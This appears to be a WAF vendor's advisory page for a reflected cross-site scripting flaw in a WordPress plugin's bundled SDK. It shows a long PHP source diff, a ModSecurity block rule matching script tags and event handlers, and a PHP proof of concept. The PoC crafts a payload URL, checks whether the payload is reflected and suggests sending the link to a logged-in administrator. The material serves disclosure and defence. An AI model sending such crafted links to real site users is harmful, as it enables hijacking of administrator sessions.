-			$this->args = $args;
-			if (empty($this->args['page_permissions'])) {
-				$this->args['page_permissions'] = 'manage_options';
-			}
-			$this->settings = $args['sdk']->settings;
-
-			if (empty($this->sections) || empty($args['opt_name'])) {
-				return;
-			}
-
-			add_action('wp_ajax_vgfpsdk_settings_' . $args['opt_name'], array($this, 'save_settings'));
-			if (!empty($_GET['vgjpsdk_hard_reset']) && !empty($_GET['vgjpsdk_nonce']) && current_user_can($this->args['page_permissions']) && wp_verify_nonce($_GET['vgjpsdk_nonce'], 'vgfpsdk_settings_' . $this->args['opt_name'])) {
-				$this->delete_settings();
-				if (!headers_sent()) {
-					wp_redirect(remove_query_arg(array('vgjpsdk_hard_reset', 'vgjpsdk_nonce')));
-					exit();
-				}
-			}
-			if (!empty($_GET['vgjpsdk_export_settings']) && !empty($_GET['vgjpsdk_nonce']) && current_user_can($this->args['page_permissions']) && wp_verify_nonce($_GET['vgjpsdk_nonce'], 'vgfpsdk_settings_' . $this->args['opt_name'])) {
-				$this->export_settings();
-			}
-		}
-
-		function export_settings() {
-			global $wpdb;
-
-			if (!current_user_can($this->args['page_permissions'])) {
-				return;
-			}
-
-			$option_keys_like = apply_filters('vg_plugin_sdk/settings/' . $this->args['opt_name'] . '/export/option_keys_like', array());
-			$option_keys_equal = apply_filters('vg_plugin_sdk/settings/' . $this->args['opt_name'] . '/export/option_keys_equal', array($this->args['opt_name']));
-
-			if (is_multisite() && $this->args['enable_wpmu_mode']) {
-				$current_blog_id = get_current_blog_id();
-				switch_to_blog(1);
-			}
-			$out = array();
-			foreach ($option_keys_like as $option_key) {
-				$out = array_merge($out, $wpdb->get_results("SELECT option_name, option_value FROM $wpdb->options WHERE option_name LIKE '%" . esc_sql($option_key) . "%' ", ARRAY_A));
-			}
-			foreach ($option_keys_equal as $option_key) {
-				$out = array_merge($out, $wpdb->get_results("SELECT option_name, option_value FROM $wpdb->options WHERE option_name =  '" . esc_sql($option_key) . "' ", ARRAY_A));
-			}
-			if (is_multisite() && $this->args['enable_wpmu_mode']) {
-				switch_to_blog($current_blog_id);
-			}
-
-			$final = array_map('maybe_unserialize', wp_list_pluck($out, 'option_value', 'option_name'));
-			header("Content-type: application/json");
-			header("Content-disposition: attachment; filename = " . basename('settings-' . date('Ymd-His') . '.json'));
-			echo json_encode($final, JSON_PRETTY_PRINT);
-			die();
-		}
-
-		function get_setting($key = null, $default = null, $skip_filter = false) {
-			if (is_multisite() && $this->args['enable_wpmu_mode']) {
-				$options = get_blog_option(1, $this->args['opt_name'], array());
-			}
-			if (empty($options)) {
-				$options = get_option($this->args['opt_name'], array());
-			}
-
-			$out = $options;
-			if (!empty($key)) {
-				$out = ( isset($options[$key])) ? $options[$key] : null;
-			}
-
-			if (empty($out)) {
-				$out = $default;
-			}
-
-			// If the value is empty and we didn't receive an explicit default,
-			// use the default from the field definition
-			if (empty($out)) {
-				$fields = $this->_get_fields();
-				if (isset($fields[$key]) && !empty($fields[$key]['default'])) {
-					$default = $fields[$key]['default'];
-					$out = $default;
-				}
-			}
-
-			if (!$skip_filter) {
-				$out = apply_filters('vg_plugin_sdk/settings/' . $this->args['opt_name'] . '/get_setting', $out, $key, $default);
-			}
-
-			$out = wp_unslash($out);
-			return $out;
-		}
-
-		function _clean($var) {
-			if (is_array($var)) {
-				return array_map(array($this, '_clean'), $var);
-			} else {
-				return is_scalar($var) ? wp_kses_post($var) : $var;
-			}
-		}
-
-		function _sanitize_field_value($value, $field) {
-			$value = is_string( $value ) ? str_replace(array('{', '}'), array('-a-', '-b-'), $value) : $value;
-			switch ($field['type']) {
-				case 'textarea':
-					if (!empty($field['validate']) && $field['validate'] === 'urls_list') {
-						$urls = array_map('trim', preg_split('/rn|r|n/', $value));
-						$value = implode(PHP_EOL, array_map('esc_url_raw', $urls));
-					} elseif (!empty($field['validate']) && $field['validate'] === 'html') {
-						$value = wp_unslash($value);
-					} else {
-						$value = sanitize_textarea_field($value);
-					}
-					break;
-				case 'editor':
-					$value = wp_kses_post($value);
-					break;
-				case 'color':
-					$value = sanitize_hex_color($value);
-					break;
-				case 'switch':
-					$value = (bool) $value;
-					break;
-				case 'multi_text_repeater':
-					if (isset($value['{index}'])) {
-						unset($value['{index}']);
-					}
-					$value = $this->_clean($value);
-					foreach ($value as $value_index => $single_value) {
-						if (empty($single_value[0]) && empty($single_value[1])) {
-							unset($value[$value_index]);
-						}
-					}
-					break;
-				case 'select':
-				case 'checkbox':
-				case 'radio':
-					$first_option_value = is_array( $field['options'] ) ? current( array_keys( $field['options'] ) ) : null;
-					if (is_array($value)) {
-						foreach ($value as $value_index => $single_value) {
-							if (!isset($field['options'][$single_value])) {
-								unset($value[$value_index]);
-							}
-						}
-					} elseif (!isset($field['options'][$value])) {
-						$value = '';
-					}
-					if( $value && is_string( $value ) && is_int( $first_option_value )){
-						$value = (int) $value;
-					}
-					break;
-
-				default:
-					$value = sanitize_text_field($value);
-					break;
-			}
-			if (!empty($field['validate'])) {
-				switch ($field['validate']) {
-					case 'url':
-						$value = esc_url_raw($value);
-						break;
-					case 'numeric':
-						$value = intval($value);
-						if (!$value) {
-							$value = '';
-						}
-						break;
-					case 'email':
-						$value = sanitize_email($value);
-						break;
-					default:
-						break;
-				}
-			}
-			$value = is_string( $value ) ? str_replace(array('-a-', '-b-'), array('{', '}'), $value) : $value;
-			return $value;
-		}
-
-		function save_settings() {
-			// We won't clean the array here because every field will be cleaned individually with _sanitize_field_value()
-			$data = $_POST;
-			$nonce = $data['nonce'];
-			if (empty($data['nonce']) || !wp_verify_nonce($nonce, 'vgfpsdk_settings_' . $this->args['opt_name']) || !current_user_can($this->args['page_permissions'])) {
-				wp_send_json_error();
-			}
-
-			$allowed_option_keys = array();
-			$fields = $this->_get_fields();
-			foreach ($fields as $field) {
-				$allowed_option_keys[] = $field['id'];
-
-				if (isset($data[$field['id']])) {
-					$data[$field['id']] = $this->_sanitize_field_value($data[$field['id']], $field);
-				}
-			}
-			$new_settings = array_intersect_key($data, array_flip($allowed_option_keys));
-
-			// This is safe. We save options only inside our serialized array, so there's
-			// zero chance of editing other site options
-			// and we run this only if the user can manage_options
-
-
-			if (is_multisite() && $this->args['enable_wpmu_mode']) {
-				$options = get_blog_option(1, $this->args['opt_name'], array());
-			}
-			if (empty($options)) {
-				$options = get_option($this->args['opt_name'], array());
-			}
-			if (empty($options) || !is_array($options)) {
-				$options = array();
-			}
-
-			if (!empty($data['vgjpsdk_import_settings'])) {
-				$import_settings = json_decode(html_entity_decode(wp_unslash($data['vgjpsdk_import_settings'])), true);
-				if (is_array($import_settings)) {
-					$option_keys_like = apply_filters('vg_plugin_sdk/settings/' . $this->args['opt_name'] . '/export/option_keys_like', array());
-					$option_keys_equal = apply_filters('vg_plugin_sdk/settings/' . $this->args['opt_name'] . '/export/option_keys_equal', array($this->args['opt_name']));
-					foreach ($import_settings as $setting_key => $setting_value) {
-						$like_option_matched = false;
-						foreach ($option_keys_like as $option_key_like) {
-							if (strpos($setting_key, $option_key_like) !== false) {
-								$like_option_matched = true;
-								break;
-							}
-						}
-						if (in_array($setting_key, $option_keys_equal, true) || $like_option_matched) {
-							if (is_multisite() && $this->args['enable_wpmu_mode']) {
-								update_blog_option(1, $setting_key, $setting_value);
-							} else {
-								update_option($setting_key, $setting_value);
-							}
-						}
-					}
-					do_action('vg_plugin_sdk/settings/' . $this->args['opt_name'] . '/after_import', $import_settings, $this->args['opt_name'], $data, $this);
-					wp_send_json_success();
-				} else {
-					wp_send_json_error();
-				}
-			}
-			if (isset($data['vgjpsdk_import_settings'])) {
-				unset($data['vgjpsdk_import_settings']);
-			}
-
-			$options = wp_parse_args($new_settings, $options);
-			$options = apply_filters('vg_plugin_sdk/settings/' . $this->args['opt_name'] . '/before_saving', $options, $this->args['opt_name'], $data, $this);
-			if (is_multisite() && $this->args['enable_wpmu_mode']) {
-				update_blog_option(1, $this->args['opt_name'], $options);
-			} else {
-				update_option($this->args['opt_name'], $options);
-			}
-			do_action('vg_plugin_sdk/settings/' . $this->args['opt_name'] . '/after_saving', $options, $this->args['opt_name'], $data, $this);
-
-			wp_send_json_success();
-		}
-
-		function delete_settings() {
-			if (!current_user_can($this->args['page_permissions'])) {
-				return;
-			}
-			$options = array();
-			if (is_multisite() && $this->args['enable_wpmu_mode']) {
-				$options = get_blog_option(1, $this->args['opt_name'], array());
-			}
-			if (empty($options)) {
-				$options = get_option($this->args['opt_name'], array());
-			}
-			if (is_multisite() && $this->args['enable_wpmu_mode']) {
-				delete_blog_option(1, $this->args['opt_name']);
-			}
-			delete_option($this->args['opt_name']);
-			do_action('vg_plugin_sdk/settings/' . $this->args['opt_name'] . '/after_reset', $options, $this->args['opt_name'], $this);
-		}
-
-		function get_sections() {
-			$this->sections = apply_filters('vg_plugin_sdk/settings/' . $this->args['opt_name'] . '/options', $this->sections);
-			// Redux filter is here for backwards compatibility
-			$this->sections = apply_filters('redux/options/' . $this->args['opt_name'] . '/sections', $this->sections);
-			return $this->sections;
-		}
-
-		function render_settings_page() {
-			if (!current_user_can($this->args['page_permissions'])) {
-				return;
-			}
-
-			$sections = $this->_get_sections();
-			$this->args['sdk']->_enqueue_assets();
-			wp_enqueue_style('wp-color-picker');
-			wp_enqueue_script('wp-color-picker');
-			require __DIR__ . '/views/settings-page.php';
-		}
-
-		function _get_fields() {
-			$sections = $this->_get_sections();
-			$fields = array();
-			foreach ($sections as $section) {
-				$fields = array_merge($fields, $section['fields']);
-			}
-			return $fields;
-		}
-
-		function _get_sections() {
-
-			$supported_types = array('text', 'textarea', 'switch', 'password', 'color', 'date', 'select', 'radio', 'checkbox', 'editor', 'image_select', 'info', 'message', 'multi_text_repeater');
-			$raw_sections = $this->get_sections();
-			$sections = array();
-			foreach ($raw_sections as $section_index => $section) {
-				foreach ($section['fields'] as $field) {
-					if (in_array($field['type'], $supported_types, true)) {
-						if (!isset($sections[$section_index])) {
-							$section['fields'] = array();
-							$sections[$section_index] = $section;
-						}
-						$sections[$section_index]['fields'][$field['id']] = $field;
-					}
-				}
-			}
-			return $sections;
-		}
-
-		function render_settings_form() {
-			if (!current_user_can($this->args['page_permissions'])) {
-				return;
-			}
-			$sections = $this->_get_sections();
-			wp_enqueue_style('wp-color-picker');
-			wp_enqueue_script('wp-color-picker');
-			require __DIR__ . '/views/settings-form.php';
-		}
-
-	}
-
+<?php
+
+if (!class_exists('VGFP_SDK_Settings_Page')) {
+
+	class VGFP_SDK_Settings_Page {
+
+		var $sections = array();
+		var $args = array();
+		var $settings = array();
+		var $textname = 'vg_freemium_plugin_sdk';
+
+		function __construct($args = array()) {
+			$defaults = array(
+				'sections' => array(), // Array containing sections and fields using same redux framework's format
+				'opt_name' => '',
+				'display_name' => __('Settings', $this->textname),
+				'page_permissions' => 'manage_options',
+				'enable_wpmu_mode' => is_multisite(),
+				'sdk' => null,
+			);
+			$args = wp_parse_args($args, $defaults);
+
+			// Remove empty sections
+			foreach ($args['sections'] as $section_index => $section) {
+				if (empty($section) || empty($section['fields'])) {
+					unset($args['section'][$section_index]);
+				}
+			}
+
+			$this->sections = $args['sections'];
+			$this->args = $args;
+			if (empty($this->args['page_permissions'])) {
+				$this->args['page_permissions'] = 'manage_options';
+			}
+			$this->settings = $args['sdk']->settings;
+
+			if (empty($this->sections) || empty($args['opt_name'])) {
+				return;
+			}
+
+			add_action('wp_ajax_vgfpsdk_settings_' . $args['opt_name'], array($this, 'save_settings'));
+			if (!empty($_GET['vgjpsdk_hard_reset']) && !empty($_GET['vgjpsdk_nonce']) && current_user_can($this->args['page_permissions']) && wp_verify_nonce($_GET['vgjpsdk_nonce'], 'vgfpsdk_settings_' . $this->args['opt_name'])) {
+				$this->delete_settings();
+				if (!headers_sent()) {
+					wp_redirect(remove_query_arg(array('vgjpsdk_hard_reset', 'vgjpsdk_nonce')));
+					exit();
+				}
+			}
+			if (!empty($_GET['vgjpsdk_export_settings']) && !empty($_GET['vgjpsdk_nonce']) && current_user_can($this->args['page_permissions']) && wp_verify_nonce($_GET['vgjpsdk_nonce'], 'vgfpsdk_settings_' . $this->args['opt_name'])) {
+				$this->export_settings();
+			}
+		}
+
+		function export_settings() {
+			global $wpdb;
+
+			if (!current_user_can($this->args['page_permissions'])) {
+				return;
+			}
+
+			$option_keys_like = apply_filters('vg_plugin_sdk/settings/' . $this->args['opt_name'] . '/export/option_keys_like', array());
+			$option_keys_equal = apply_filters('vg_plugin_sdk/settings/' . $this->args['opt_name'] . '/export/option_keys_equal', array($this->args['opt_name']));
+
+			if (is_multisite() && $this->args['enable_wpmu_mode']) {
+				$current_blog_id = get_current_blog_id();
+				switch_to_blog(1);
+			}
+			$out = array();
+			foreach ($option_keys_like as $option_key) {
+				$out = array_merge($out, $wpdb->get_results("SELECT option_name, option_value FROM $wpdb->options WHERE option_name LIKE '%" . esc_sql($option_key) . "%' ", ARRAY_A));
+			}
+			foreach ($option_keys_equal as $option_key) {
+				$out = array_merge($out, $wpdb->get_results("SELECT option_name, option_value FROM $wpdb->options WHERE option_name =  '" . esc_sql($option_key) . "' ", ARRAY_A));
+			}
+			if (is_multisite() && $this->args['enable_wpmu_mode']) {
+				switch_to_blog($current_blog_id);
+			}
+
+			$final = array_map('maybe_unserialize', wp_list_pluck($out, 'option_value', 'option_name'));
+			header("Content-type: application/json");
+			header("Content-disposition: attachment; filename = " . basename('settings-' . date('Ymd-His') . '.json'));
+			echo json_encode($final, JSON_PRETTY_PRINT);
+			die();
+		}
+
+		function get_setting($key = null, $default = null, $skip_filter = false) {
+			if (is_multisite() && $this->args['enable_wpmu_mode']) {
+				$options = get_blog_option(1, $this->args['opt_name'], array());
+			}
+			if (empty($options)) {
+				$options = get_option($this->args['opt_name'], array());
+			}
+
+			$out = $options;
+			if (!empty($key)) {
+				$out = ( isset($options[$key])) ? $options[$key] : null;
+			}
+
+			if (empty($out)) {
+				$out = $default;
+			}
+
+			// If the value is empty and we didn't receive an explicit default,
+			// use the default from the field definition
+			if (empty($out)) {
+				$fields = $this->_get_fields();
+				if (isset($fields[$key]) && !empty($fields[$key]['default'])) {
+					$default = $fields[$key]['default'];
+					$out = $default;
+				}
+			}
+
+			if (!$skip_filter) {
+				$out = apply_filters('vg_plugin_sdk/settings/' . $this->args['opt_name'] . '/get_setting', $out, $key, $default);
+			}
+
+			$out = wp_unslash($out);
+			return $out;
+		}
+
+		function _clean($var) {
+			if (is_array($var)) {
+				return array_map(array($this, '_clean'), $var);
+			} else {
+				return is_scalar($var) ? wp_kses_post($var) : $var;
+			}
+		}
+
+		function _sanitize_field_value($value, $field) {
+			$value = is_string( $value ) ? str_replace(array('{', '}'), array('-a-', '-b-'), $value) : $value;
+			switch ($field['type']) {
+				case 'textarea':
+					if (!empty($field['validate']) && $field['validate'] === 'urls_list') {
+						$urls = array_map('trim', preg_split('/rn|r|n/', $value));
+						$value = implode(PHP_EOL, array_map('esc_url_raw', $urls));
+					} elseif (!empty($field['validate']) && $field['validate'] === 'html') {
+						$value = wp_unslash($value);
+					} else {
+						$value = sanitize_textarea_field($value);
+					}
+					break;
+				case 'editor':
+					$value = wp_kses_post($value);
+					break;
+				case 'color':
+					$value = sanitize_hex_color($value);
+					break;
+				case 'switch':
+					$value = (bool) $value;
+					break;
+				case 'multi_text_repeater':
+					if (isset($value['{index}'])) {
+						unset($value['{index}']);
+					}
+					$value = $this->_clean($value);
+					foreach ($value as $value_index => $single_value) {
+						if (empty($single_value[0]) && empty($single_value[1])) {
+							unset($value[$value_index]);
+						}
+					}
+					break;
+				case 'select':
+				case 'checkbox':
+				case 'radio':
+					$first_option_value = is_array( $field['options'] ) ? current( array_keys( $field['options'] ) ) : null;
+					if (is_array($value)) {
+						foreach ($value as $value_index => $single_value) {
+							if (!isset($field['options'][$single_value])) {
+								unset($value[$value_index]);
+							}
+						}
+					} elseif (!isset($field['options'][$value])) {
+						$value = '';
+					}
+					if( $value && is_string( $value ) && is_int( $first_option_value )){
+						$value = (int) $value;
+					}
+					break;
+
+				default:
+					$value = sanitize_text_field($value);
+					break;
+			}
+			if (!empty($field['validate'])) {
+				switch ($field['validate']) {
+					case 'url':
+						$value = esc_url_raw($value);
+						break;
+					case 'numeric':
+						$value = intval($value);
+						if (!$value) {
+							$value = '';
+						}
+						break;
+					case 'email':
+						$value = sanitize_email($value);
+						break;
+					default:
+						break;
+				}
+			}
+			$value = is_string( $value ) ? str_replace(array('-a-', '-b-'), array('{', '}'), $value) : $value;
+			return $value;
+		}
+
+		function save_settings() {
+			// We won't clean the array here because every field will be cleaned individually with _sanitize_field_value()
+			$data = $_POST;
+			$nonce = $data['nonce'];
+			if (empty($data['nonce']) || !wp_verify_nonce($nonce, 'vgfpsdk_settings_' . $this->args['opt_name']) || !current_user_can($this->args['page_permissions'])) {
+				wp_send_json_error();
+			}
+
+			$allowed_option_keys = array();
+			$fields = $this->_get_fields();
+			foreach ($fields as $field) {
+				$allowed_option_keys[] = $field['id'];
+
+				if (isset($data[$field['id']])) {
+					$data[$field['id']] = $this->_sanitize_field_value($data[$field['id']], $field);
+				}
+			}
+			$new_settings = array_intersect_key($data, array_flip($allowed_option_keys));
+
+			// This is safe. We save options only inside our serialized array, so there's
+			// zero chance of editing other site options
+			// and we run this only if the user can manage_options
+
+
+			if (is_multisite() && $this->args['enable_wpmu_mode']) {
+				$options = get_blog_option(1, $this->args['opt_name'], array());
+			}
+			if (empty($options)) {
+				$options = get_option($this->args['opt_name'], array());
+			}
+			if (empty($options) || !is_array($options)) {
+				$options = array();
+			}
+
+			if (!empty($data['vgjpsdk_import_settings'])) {
+				$import_settings = json_decode(html_entity_decode(wp_unslash($data['vgjpsdk_import_settings'])), true);
+				if (is_array($import_settings)) {
+					$option_keys_like = apply_filters('vg_plugin_sdk/settings/' . $this->args['opt_name'] . '/export/option_keys_like', array());
+					$option_keys_equal = apply_filters('vg_plugin_sdk/settings/' . $this->args['opt_name'] . '/export/option_keys_equal', array($this->args['opt_name']));
+					foreach ($import_settings as $setting_key => $setting_value) {
+						$like_option_matched = false;
+						foreach ($option_keys_like as $option_key_like) {
+							if (strpos($setting_key, $option_key_like) !== false) {
+								$like_option_matched = true;
+								break;
+							}
+						}
+						if (in_array($setting_key, $option_keys_equal, true) || $like_option_matched) {
+							if (is_multisite() && $this->args['enable_wpmu_mode']) {
+								update_blog_option(1, $setting_key, $setting_value);
+							} else {
+								update_option($setting_key, $setting_value);
+							}
+						}
+					}
+					do_action('vg_plugin_sdk/settings/' . $this->args['opt_name'] . '/after_import', $import_settings, $this->args['opt_name'], $data, $this);
+					wp_send_json_success();
+				} else {
+					wp_send_json_error();
+				}
+			}
+			if (isset($data['vgjpsdk_import_settings'])) {
+				unset($data['vgjpsdk_import_settings']);
+			}
+
+			$options = wp_parse_args($new_settings, $options);
+			$options = apply_filters('vg_plugin_sdk/settings/' . $this->args['opt_name'] . '/before_saving', $options, $this->args['opt_name'], $data, $this);
+			if (is_multisite() && $this->args['enable_wpmu_mode']) {
+				update_blog_option(1, $this->args['opt_name'], $options);
+			} else {
+				update_option($this->args['opt_name'], $options);
+			}
+			do_action('vg_plugin_sdk/settings/' . $this->args['opt_name'] . '/after_saving', $options, $this->args['opt_name'], $data, $this);
+
+			wp_send_json_success();
+		}
+
+		function delete_settings() {
+			if (!current_user_can($this->args['page_permissions'])) {
+				return;
+			}
+			$options = array();
+			if (is_multisite() && $this->args['enable_wpmu_mode']) {
+				$options = get_blog_option(1, $this->args['opt_name'], array());
+			}
+			if (empty($options)) {
+				$options = get_option($this->args['opt_name'], array());
+			}
+			if (is_multisite() && $this->args['enable_wpmu_mode']) {
+				delete_blog_option(1, $this->args['opt_name']);
+			}
+			delete_option($this->args['opt_name']);
+			do_action('vg_plugin_sdk/settings/' . $this->args['opt_name'] . '/after_reset', $options, $this->args['opt_name'], $this);
+		}
+
+		function get_sections() {
+			$this->sections = apply_filters('vg_plugin_sdk/settings/' . $this->args['opt_name'] . '/options', $this->sections);
+			// Redux filter is here for backwards compatibility
+			$this->sections = apply_filters('redux/options/' . $this->args['opt_name'] . '/sections', $this->sections);
+			return $this->sections;
+		}
+
+		function render_settings_page() {
+			if (!current_user_can($this->args['page_permissions'])) {
+				return;
+			}
+
+			$sections = $this->_get_sections();
+			$this->args['sdk']->_enqueue_assets();
+			wp_enqueue_style('wp-color-picker');
+			wp_enqueue_script('wp-color-picker');
+			require __DIR__ . '/views/settings-page.php';
+		}
+
+		function _get_fields() {
+			$sections = $this->_get_sections();
+			$fields = array();
+			foreach ($sections as $section) {
+				$fields = array_merge($fields, $section['fields']);
+			}
+			return $fields;
+		}
+
+		function _get_sections() {
+
+			$supported_types = array('text', 'textarea', 'switch', 'password', 'color', 'date', 'select', 'radio', 'checkbox', 'editor', 'image_select', 'info', 'message', 'multi_text_repeater');
+			$raw_sections = $this->get_sections();
+			$sections = array();
+			foreach ($raw_sections as $section_index => $section) {
+				foreach ($section['fields'] as $field) {
+					if (in_array($field['type'], $supported_types, true)) {
+						if (!isset($sections[$section_index])) {
+							$section['fields'] = array();
+							$sections[$section_index] = $section;
+						}
+						$sections[$section_index]['fields'][$field['id']] = $field;
+					}
+				}
+			}
+			return $sections;
+		}
+
+		function render_settings_form() {
+			if (!current_user_can($this->args['page_permissions'])) {
+				return;
+			}
+			$sections = $this->_get_sections();
+			wp_enqueue_style('wp-color-picker');
+			wp_enqueue_script('wp-color-picker');
+			require __DIR__ . '/views/settings-form.php';
+		}
+
+	}
+
 }
 No newline at end of file
--- a/custom-page-templates-by-vegacorp/vendor/vegacorp/vg-freemius-sdk/views/settings-form.php
+++ b/custom-page-templates-by-vegacorp/vendor/vegacorp/vg-freemius-sdk/views/settings-form.php
@@ -1,435 +1,435 @@
-<h3><?php _e('Advanced Settings', $this->textname); ?></h3>
-<div class="wpse-settings-form-wrapper">
-
-	<div class="tabs-links">
-		<?php
-		foreach ($sections as $section) {
-			$section_id = sanitize_html_class($section['title']);
-			?>
-			<a href="#<?php echo sanitize_html_class( $section_id ); ?>"><?php echo esc_html($section['title']); ?></a>
-		<?php }
-		?>
-		<a href="#reset-settings"><?php _e('Reset settings', $this->textname); ?></a>
-		<a href="#export-import-settings"><?php _e('Export and import settings', $this->textname); ?></a>
-		<?php do_action('vg_plugin_sdk/settings/' . $this->args['opt_name'] . '/after_tab_links', $this, $sections); ?>
-	</div>
-	<form class="wpse-set-settings tabs-content">
-		<?php
-		foreach ($sections as $section) {
-			$section_id = sanitize_html_class($section['title']);
-			?>
-			<div class="<?php echo sanitize_html_class( $section_id ); ?> tab-content">
-				<?php
-				foreach ($section['fields'] as $field) {
-					if (empty($field['args'])) {
-						$field['args'] = array();
-					}
-					$section_id = sanitize_html_class($section['title']);
-					$value = $this->get_setting($field['id'], '');
-					if (!empty($field['validate']) && $field['validate'] === 'numeric') {
-						$input_type = 'number';
-					} elseif (!empty($field['validate']) && $field['validate'] === 'url') {
-						$input_type = 'url';
-					} else {
-						$input_type = 'text';
-					}
-					if ($field['type'] === 'info') {
-						?>
-						<div class="field-wrapper field-info">
-							<?php if (!empty($field['desc'])) { ?>
-								<?php echo wpautop(wp_kses_post($field['desc'])); ?>
-							<?php } ?>
-						</div>
-						<?php
-						continue;
-					}
-					// Similar to info, but without background
-					if ($field['type'] === 'message') {
-						?>
-						<div class="field-wrapper field-message">
-							<?php if (!empty($field['desc'])) { ?>
-								<?php echo wpautop(wp_kses_post($field['desc'])); ?>
-							<?php } ?>
-						</div>
-						<?php

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2024-13362
# This rule blocks reflected XSS attempts through the 'url' parameter in Freemius SDK pages.
# It targets admin.php page loads where the 'url' parameter contains script tags or event handlers.
SecRule REQUEST_URI "@rx /wp-admin/admin.php" 
  "id:20260001,phase:2,deny,status:403,chain,msg:'CVE-2024-13362 - Freemius XSS via url parameter',severity:'CRITICAL',tag:'CVE-2024-13362'"
  SecRule ARGS:url "@rx <script|onerror=|onload=|javascript:" 
    "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2024-13362 - Freemius <= 2.10.1 - Reflected DOM-Based Cross-Site Scripting via url Parameter

// This PoC demonstrates the XSS vulnerability by crafting a URL with an XSS payload in the 'url' parameter.
// The victim must be logged in and click the link. The script will execute in their browser context.

$target_url = 'http://wordpress.local'; // CHANGE THIS to the target WordPress site

$payload = '<script>alert('XSS');</script>';

// Craft the malicious URL
$url = $target_url . '/wp-admin/admin.php?page=wp-page-templates&url=' . urlencode($payload);

echo "[+] CVE-2024-13362 PoCn";
echo "[+] Target: " . $target_url . "n";
echo "[+] Crafted URL: " . $url . "n";
echo "[+] Send this link to an authenticated admin user to trigger XSS.n";

// Optionally, fetch the page to show the injected payload
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_HTTPHEADER => [
        'User-Agent: AtomicEdge-PoC/1.0'
    ]
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code === 200) {
    echo "[+] Successfully fetched the page. Check response for payload reflection.n";
    if (strpos($response, $payload) !== false) {
        echo "[!] Payload reflected in response! Vulnerability confirmed.n";
    } else {
        echo "[-] Payload not reflected. Target may be patched or payload requires different parameter.n";
    }
} else {
    echo "[-] HTTP status code: " . $http_code . " - request failed.n";
}

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School